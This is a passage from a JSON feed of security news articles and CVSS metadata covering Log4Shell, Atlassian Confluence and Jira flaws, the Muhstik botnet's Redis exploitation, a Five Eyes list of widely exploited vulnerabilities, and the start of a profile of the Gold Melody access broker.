2.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgfMpATNB5GkuC13rGMq6XMiFBdOjwWBuD-ZOuvjNFP7YxSWaotzdhrzjdXbTIaMEp8-l6iWWDH92mwneLD8TjmjuxtRNakibAOsb2Bx7UplaRi0KIfAJe2kSIOkIyBGl9uSFCGFJoM8U83ckS-pICLmEcmdQGD1quBku8bU4z_kfoRubl5R-sNju8bog>)\n\nTracked [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (CVSS score: 10.0), the flaw concerns a case of remote code execution in Log4j, a Java-based open-source Apache logging framework broadly used in enterprise environments to record events and messages generated by software applications.\n\nAll that is required of an adversary to leverage the vulnerability is send a specially crafted string containing the malicious code that gets logged by Log4j version 2.0 or higher, effectively enabling the threat actor to load arbitrary code from an attacker-controlled domain on a susceptible server and take over control.\n\n\"The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers,\" Microsoft 365 Defender Threat Intelligence Team [said](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>) in an analysis. \"Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives.\"\n\nIn particular, the Redmond-based tech giant said it detected a wealth of malicious activities, including installing Cobalt Strike to enable credential theft and lateral movement, deploying coin miners, and exfiltrating data from the compromised machines.\n\nThe situation has also left companies scrambling to roll out fixes for the bug. Network security vendor SonicWall, in an [advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032>), revealed its Email Security solution is affected, stating it's working to release a fix for the issue while it continues to investigate the rest of its lineup. Virtualization technology provider VMware, likewise, warned of \"[exploitation attempts in the wild](<https://www.vmware.com/security/advisories/VMSA-2021-0028.html>),\" adding that it's pushing out patches to a number of its products.\n\nIf anything, incidents like these illustrate how a single flaw, when uncovered in packages incorporated in a lot of software, can have ripple effects, acting as a channel for further attacks and posing a critical risk to affected systems. \"All threat actors need to trigger an attack is one line of text,\" Huntress Labs Senior Security Researcher John Hammond [said](<https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java>). \"There's no obvious target for this vulnerability \u2014 hackers are taking a spray-and-pray approach to wreak havoc.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-13T05:10:00", "type": "thn", "title": "Apache Log4j Vulnerability \u2014 Log4Shell \u2014 Widely Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-44228"], "modified": "2021-12-13T14:58:24", "id": "THN:2656971C06C4E3D4B0A8C0AC02BBB775", "href": "https://thehackernews.com/2021/12/apache-log4j-vulnerability-log4shell.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-04T09:56:20", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjB-3FGATEcQvVgoHD4SeHSMPhxak-CS-oPPNSfU5-5SkLrm94tD5D0FIxx_OoOOtXyQiGBrKcDgRUW2iNO9g17pvv2yWaxWqF27SPffdburUe_xKI1xM67MdF81s7ep1qHWagF0rFoXsRGa15bMeP_43LBSreE8ELfJybJIroA1mHu5NL3se511yT6/s728-e100/jira.jpg>)\n\nAtlassian on Friday rolled out fixes to address a [critical security flaw](<https://thehackernews.com/2022/06/hackers-exploiting-unpatched-critical.html>) affecting its Confluence Server and Data Center products that have come under active exploitation by threat actors to achieve remote code execution.\n\nTracked as [**CVE-2022-26134**](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>), the issue is similar to [**CVE-2021-26084**](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>) \u2014 another security flaw the Australian software company patched in August 2021.\n\nBoth relate to a case of Object-Graph Navigation Language ([OGNL](<https://en.wikipedia.org/wiki/OGNL>)) injection that could be exploited to achieve arbitrary code execution on a Confluence Server or Data Center instance.\n\nThe newly discovered shortcoming impacts all supported versions of Confluence Server and Data Center, with every version after 1.3.0 also affected. It's been resolved in the following versions -\n\n * 7.4.17\n * 7.13.7\n * 7.14.3\n * 7.15.2\n * 7.16.4\n * 7.17.4\n * 7.18.1\n\nAccording to stats from internet asset discovery platform [Censys](<https://censys.io/cve-2022-26134-confluenza-omicron-edition/>), there are about 9,325 services across 8,347 distinct hosts running a vulnerable version of Atlassian Confluence, with [most instances](<https://datastudio.google.com/reporting/1fbdf17c-ae37-4501-bd3f-935b72d1f181/page/2DSuC>) located in the U.S., China, Germany, Russia, and France.\n\nEvidence of active exploitation of the flaw, likely by attackers of Chinese origin, came to light after cybersecurity firm Volexity discovered the flaw over the Memorial Day weekend in the U.S. during an incident response investigation.\n\n\"The targeted industries/verticals are quite widespread,\" Steven Adair, founder and president of Volexity, [said](<https://twitter.com/stevenadair/status/1532768026818490371>) in a series of tweets. \"This is a free-for-all where the exploitation seems coordinated.\"\n\n\"It is clear that multiple threat groups and individual actors have the exploit and have been using it in different ways. Some are quite sloppy and others are a bit more stealth.\"\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), besides [adding](<https://www.cisa.gov/uscert/ncas/current-activity/2022/06/02/cisa-adds-one-known-exploited-vulnerability-cve-2022-26134-catalog>) the zero-day bug to its [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), has also urged federal agencies to immediately block all internet traffic to and from the affected products and either apply the patches or remove the instances by June 6, 2022, 5 p.m. ET.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-04T08:57:00", "type": "thn", "title": "Atlassian Releases Patch for Confluence Zero-Day Flaw Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-26134"], "modified": "2022-06-04T08:57:38", "id": "THN:362401076AC227D49D729838DBDC2052", "href": "https://thehackernews.com/2022/06/atlassian-releases-patch-for-confluence.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-18T05:57:47", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj9rIpLd7Wt8S6XBYbfSyi_LxY3hVen8bxDxWgv56ywl84WByL1Zl26yIu_oQ18uh4gvIi8vulmy9q1SZTMxCmqhEiWx0sm82_GHXfs821huyPVdY3i9HR5j_Dk6uxz27udcCKd-Tl7Z1edq42KHthx8Ln0XuGeTqNQ5nDnXn7z5jvyBqljfIiqhIVu/s728-e100/ransomware.jpg>)\n\nA recently patched [critical security flaw](<https://thehackernews.com/2022/06/hackers-exploiting-unpatched-critical.html>) in Atlassian Confluence Server and Data Center products is being actively weaponized in real-world attacks to drop cryptocurrency miners and ransomware payloads.\n\nIn at least two of the Windows-related incidents observed by cybersecurity vendor Sophos, adversaries exploited the vulnerability to deliver Cerber ransomware and a [crypto miner](<https://blog.checkpoint.com/2022/06/09/crypto-miners-leveraging-atlassian-zero-day-vulnerability/>) called z0miner on victim networks.\n\nThe bug ([CVE-2022-26134](<https://nvd.nist.gov/vuln/detail/CVE-2022-26134>), CVSS score: 9.8), which was [patched](<https://thehackernews.com/2022/06/atlassian-releases-patch-for-confluence.html>) by Atlassian on June 3, 2022, enables an unauthenticated actor to inject malicious code that paves the way of remote code execution (RCE) on affected installations of the collaboration suite. All supported versions of Confluence Server and Data Center are affected.\n\nOther notable malware pushed as part of disparate instances of attack activity include Mirai and Kinsing bot variants, a rogue package called [pwnkit](<https://thehackernews.com/2022/01/12-year-old-polkit-flaw-lets.html>), and Cobalt Strike by way of a web shell deployed after gaining an initial foothold into the compromised system.\n\n\"The vulnerability, CVE-2022-26134, allows an attacker to spawn a remotely-accessible shell, in-memory, without writing anything to the server's local storage,\" Andrew Brandt, principal security researcher at Sophos, [said](<https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/>).\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj4ylTTjRkYLtYQCSXoVz8gUgRgTa98lR7XaqcG9UbybTcDEi9J5hfotnq_Gutzoj81P5XHccmBjiW9E7KZlw5edBNyVl0N0zwIwuyQGM4A95z1ZdyCtPLIHlvFzE_XXxyZJjC55Sp3sPQrsczwhlKexPSQGqBrt0qHXhWsFMoMEcBZXvs-OTYPTLet/s728-e100/code.jpg>)\n\nThe disclosure overlaps with similar warnings from Microsoft, which [revealed](<https://twitter.com/MsftSecIntel/status/1535417776290111489>) last week that \"multiple adversaries and nation-state actors, including [DEV-0401](<https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/#DEV-0401>) and DEV-0234, are taking advantage of the Atlassian Confluence RCE vulnerability CVE-2022-26134.\"\n\nDEV-0401, described by Microsoft as a \"China-based lone wolf turned LockBit 2.0 affiliate,\" has also been previously linked to ransomware deployments targeting internet-facing systems running VMWare Horizon ([Log4Shell](<https://thehackernews.com/2022/01/iranian-hackers-exploit-log4j.html>)), Confluence ([CVE-2021-26084](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>)), and on-premises Exchange servers ([ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>)).\n\nThe development is emblematic of an [ongoing trend](<https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html>) where threat actors are increasingly capitalizing on newly disclosed critical vulnerabilities rather than exploiting publicly known, dated software flaws across a broad spectrum of targets.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-18T04:11:00", "type": "thn", "title": "Atlassian Confluence Flaw Being Used to Deploy Ransomware and Crypto Miners", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-26134"], "modified": "2022-06-18T04:11:14", "id": "THN:0488E447E08622B0366A0332F848212D", "href": "https://thehackernews.com/2022/06/atlassian-confluence-flaw-being-used-to.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:26", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj61Yvi82eU_SsNVfNm8WazXtxvcYXm-sCRLGmk5m-EijyMKxnX7EywsH3x3g08_XJKLrzN6v1fAWhIVPYSGdCWww6qP6J3eriq2RAyEhFEI8Q7GpR1uolW0eRgUZr8gQDOyMty2WhvSGuA8o5zI4uVLgouljVIzwLo6jec4rUwyfZxNM2dJrDTyvOE/s728-e100/jira.jpg>)\n\nAtlassian has published a security advisory warning of a critical vulnerability in its Jira software that could be abused by a remote, unauthenticated attacker to circumvent authentication protections.\n\nTracked as [**CVE-2022-0540**](<https://nvd.nist.gov/vuln/detail/CVE-2022-0540>), the flaw is rated 9.9 out of 10 on the CVSS scoring system and resides in Jira's authentication framework, Jira Seraph. Khoadha of Viettel Cyber Security has been credited with discovering and reporting the security weakness.\n\n\"A remote, unauthenticated attacker could exploit this by sending a specially crafted HTTP request to bypass authentication and authorization requirements in WebWork actions using an affected configuration,\" Atlassian [noted](<https://confluence.atlassian.com/jira/jira-security-advisory-2022-04-20-1115127899.html>).\n\nThe flaw affects the following Jira products -\n\n * Jira Core Server, Jira Software Server and Jira Software Data Center: All versions before 8.13.18, 8.14.x, 8.15.x, 8.16.x, 8.17.x, 8.18.x, 8.19.x, 8.20.x before 8.20.6, and 8.21.x\n * Jira Service Management Server and Jira Service Management Data Center: All versions before 4.13.18, 4.14.x, 4.15.x, 4.16.x, 4.17.x, 4.18.x, 4.19.x, 4.20.x before 4.20.6, and 4.21.x\n\nFixed Jira and Jira Service Management versions are 8.13.18, 8.20.6, and 8.22.0 and 4.13.18, 4.20.6, and 4.22.0.\n\nAtlassian also noted that the flaw affects first and third-party apps only if they are installed in one of the aforementioned Jira or Jira Service Management versions and that they are using a vulnerable configuration.\n\nUsers are strongly recommended to update to one of the patched versions to mitigate potential exploitation attempts. If immediate patching isn't an option, the company is advising updating the affected apps to a fixed version or disabling them altogether.\n\nIt's worth noting that a critical remote code execution flaw in Atlassian Confluence ([CVE-2021-26084](<https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html>), CVSS score: 9.8) was actively weaponized in the wild last year to [install](<https://thehackernews.com/2021/09/latest-atlassian-confluence-flaw.html>) [cryptocurrency miners](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>) on compromised servers.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-23T05:52:00", "type": "thn", "title": "Atlassian Drops Patches for Critical Jira Authentication Bypass Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-0540"], "modified": "2022-04-23T05:52:42", "id": "THN:81C9EF28EEDF49E21E8DF15A8FF7EB8D", "href": "https://thehackernews.com/2022/04/atlassian-drops-patches-for-critical.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:25", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh09KugWf9Nll7KSG7yZBNIvMLXvLKZ92heAygg8X6PYa2oq5Gp7OARqFBSZyMbfZCsrcK9Mh72AhpOgxuEXhmjAynK6iRSEf_xMMAl_T0oqulTMyMrJgAc7PDPFVO0MuKFWRJessc_Iu5-Rm-QSXVXRVTrU_666K232IVvIKEiChh39TVtKy5BnyQY/s728-e100/redis.jpg>)\n\nMuhstik, a botnet infamous for propagating via web application exploits, has been observed targeting Redis servers using a recently disclosed vulnerability in the database system.\n\nThe vulnerability relates to [CVE-2022-0543](<https://nvd.nist.gov/vuln/detail/CVE-2022-0543>), a [Lua sandbox escape flaw](<https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>) in the open-source, in-memory, key-value data store that could be abused to achieve remote code execution on the underlying machine. The vulnerability is rated 10 out of 10 for severity.\n\n\"Due to a packaging issue, a remote attacker with the ability to execute arbitrary Lua scripts could possibly escape the Lua sandbox and execute arbitrary code on the host,\" Ubuntu noted in an advisory released last month.\n\nAccording to [telemetry data](<https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers>) gathered by Juniper Threat Labs, the attacks leveraging the new flaw are said to have commenced on March 11, 2022, leading to the retrieval of a malicious shell script (\"russia.sh\") from a remote server, which is then utilized to fetch and execute the botnet binaries from another server.\n\nFirst [documented](<https://blog.netlab.360.com/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/>) by Chinese security firm Netlab 360, Muhstik is known to be [active](<https://www.lacework.com/blog/meet-muhstik-iot-botnet-infecting-cloud-servers/>) since March 2018 and is monetized for carrying out coin mining activities and staging distributed denial-of-service (DDoS) attacks.\n\nCapable of self-propagating on Linux and IoT devices like GPON home router, DD-WRT router, and [Tomato routers](<https://unit42.paloaltonetworks.com/muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices/>), Muhstik has been spotted weaponizing a number of flaws over the years \u2013\n\n * [**CVE-2017-10271**](<https://nvd.nist.gov/vuln/detail/cve-2017-10271>) (CVSS score: 7.5) \u2013 An input validation vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) \u2013 Drupal remote code execution vulnerability\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (CVSS score: 9.8) \u2013 Oracle WebLogic Server remote code execution vulnerability\n * [**CVE-2021-26084**](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>) (CVSS score: 9.8) \u2013 An OGNL (Object-Graph Navigation Language) injection flaw in Atlassian Confluence, and\n * [**CVE-2021-44228**](<https://thehackernews.com/2021/12/apache-log4j-vulnerability-log4shell.html>) (CVSS score: 10.0) \u2013 Apache Log4j remote code execution vulnerability (aka Log4Shell)\n\n\"This bot connects to an IRC server to receive commands which include the following: download files, shell commands, flood attacks, [and] SSH brute force,\" Juniper Threat Labs researchers said in a report published last week.\n\nIn light of active exploitation of the critical security flaw, users are highly recommended to move quickly to patch their Redis services to the latest version.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-28T06:59:00", "type": "thn", "title": "Muhstik Botnet Targeting Redis Servers Using Recently Disclosed Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-10271", "CVE-2018-7600", "CVE-2019-2725", "CVE-2021-26084", "CVE-2021-44228", "CVE-2022-0543"], "modified": "2022-03-28T06:59:18", "id": "THN:4DE731C9D113C3993C96A773C079023F", "href": "https://thehackernews.com/2022/03/muhstik-botnet-targeting-redis-servers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-04T08:27:53", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjoBeYlJXEHlGr6rAJniL2XD4Ma4efotehIvHqoBelnDjYCGmj8xiT_Ywd1KZ4ib2iPE9jPLa0Pm_4yinuBV4dFS1DU6tYFmtWc8MCdQ0JAX1qTBXY6Airy55EM3rJtfcw5XqbClVD4K7dX5ocGZfUZHAalQRMYv6Ujka3fZWMc6HDW2AIMvXuZB6SsXGos/s728-e365/flaws.jpg>)\n\nA four-year-old critical security flaw impacting Fortinet FortiOS SSL has emerged as one of the most routinely and frequently exploited vulnerabilities in 2022.\n\n\"In 2022, malicious cyber actors exploited older software vulnerabilities more frequently than recently disclosed vulnerabilities and targeted unpatched, internet-facing systems,\" cybersecurity and intelligence agencies from the Five Eyes nations, which comprises Australia, Canada, New Zealand, the U.K., and the U.S., [said](<https://www.cisa.gov/news-events/alerts/2023/08/03/cisa-nsa-fbi-and-international-partners-release-joint-csa-top-routinely-exploited-vulnerabilities>) in a joint alert.\n\nThe continued weaponization of [CVE-2018-13379](<https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html>), which was also one among the most exploited bugs in [2020](<https://thehackernews.com/2021/07/top-30-critical-security.html>) and [2021](<https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html>), suggests a failure on the part of organizations to apply patches in a timely manner, the authorities said.\n\n\"Malicious cyber actors likely prioritize developing exploits for severe and globally prevalent CVEs,\" according to the advisory. \"While sophisticated actors also develop tools to exploit other vulnerabilities, developing exploits for critical, wide-spread, and publicly known vulnerabilities gives actors low-cost, high-impact tools they can use for several years.\"\n\n[](<https://thn.news/edWGl41h> \"Cybersecurity\" )\n\n[CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>) refers to a path traversal defect in the FortiOS SSL VPN web portal that could allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.\n\nSome of other widely exploited flaws include:\n\n * [CVE-2021-34473, CVE-2021-31207, and CVE-2021-34523](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) (ProxyShell)\n * [CVE-2021-40539](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>) (Unauthenticated remote code execution in Zoho ManageEngine ADSelfService Plus)\n * [CVE-2021-26084](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>) (Unauthenticated remote code execution in Atlassian Confluence Server and Data Center)\n * [CVE-2021-44228](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>) (Log4Shell)\n * [CVE-2022-22954](<https://thehackernews.com/2022/05/vmware-releases-patches-for-new.html>) (Remote code execution in VMware Workspace ONE Access and Identity Manager)\n * [CVE-2022-22960](<https://thehackernews.com/2022/05/vmware-releases-patches-for-new.html>) (Local privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager, and vRealize Automation)\n * [CVE-2022-1388](<https://thehackernews.com/2022/05/cisa-urges-organizations-to-patch.html>) (Unauthenticated remote code execution in F5 BIG-IP)\n * [CVE-2022-30190](<https://thehackernews.com/2022/05/microsoft-releases-workarounds-for.html>) (Follina)\n * [CVE-2022-26134](<https://thehackernews.com/2022/06/atlassian-releases-patch-for-confluence.html>) (Unauthenticated remote code execution in Atlassian Confluence Server and Data Center)\n\n\"Attackers generally see the most success exploiting known vulnerabilities within the first two years of public disclosure and likely target their exploits to maximize impact, emphasizing the benefit of organizations applying security updates promptly,\" the U.K.'s National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/ncsc-allies-reveal-2022-common-exploited-vulnerabilities>).\n\n\"Timely patching reduces the effectiveness of known, exploitable vulnerabilities, possibly decreasing the pace of malicious cyber actor operations and forcing pursuit of more costly and time-consuming methods (such as developing zero-day exploits or conducting software supply chain operations),\" the agencies noted.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-04T07:02:00", "type": "thn", "title": "Major Cybersecurity Agencies Collaborate to Unveil 2022's Most Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-04T07:02:32", "id": "THN:75A32CF309184E2A99DA7B43EFBFA8E7", "href": "https://thehackernews.com/2023/08/major-cybersecurity-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-21T11:13:06", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEir4L0zsDJ9D5U4kME3FrbnUk5EFegKpTfUDGGS-jG-6WSfCd3IMiQWXApu0SvJg77AGeoxqfEAXOxrUNRyspVtEN5TxK3USDIqoYAff5WtDlquTcdsN1SeJXEljaMZkqSFZDSyb0uppqN2gRYb8FI7PAVV5-dWNfycSd656GJZcTXBvOhZlgMqkZ0vBE_1/s728-e365/malware-attack.jpg>)\n\nA financially motivated threat actor has been outed as an **initial access broker** (IAB) that sells access to compromised organizations for other adversaries to conduct follow-on attacks such as ransomware.\n\nSecureWorks Counter Threat Unit (CTU) has dubbed the e-crime group [Gold Melody](<https://www.secureworks.com/research/threat-profiles/gold-melody>), which is also known by the names Prophet Spider (CrowdStrike) and UNC961 (Mandiant).\n\n\"This financially motivated group has been active since at least 2017, compromising organizations by exploiting vulnerabilities in unpatched internet-facing servers,\" the cybersecurity company [said](<https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker>).\n\n\"The victimology suggests opportunistic attacks for financial gain rather than a targeted campaign conducted by a state-sponsored threat group for espionage, destruction, or disruption.\"\n\n[](<https://thn.news/o6a5Vxgy> \"Cybersecurity\" 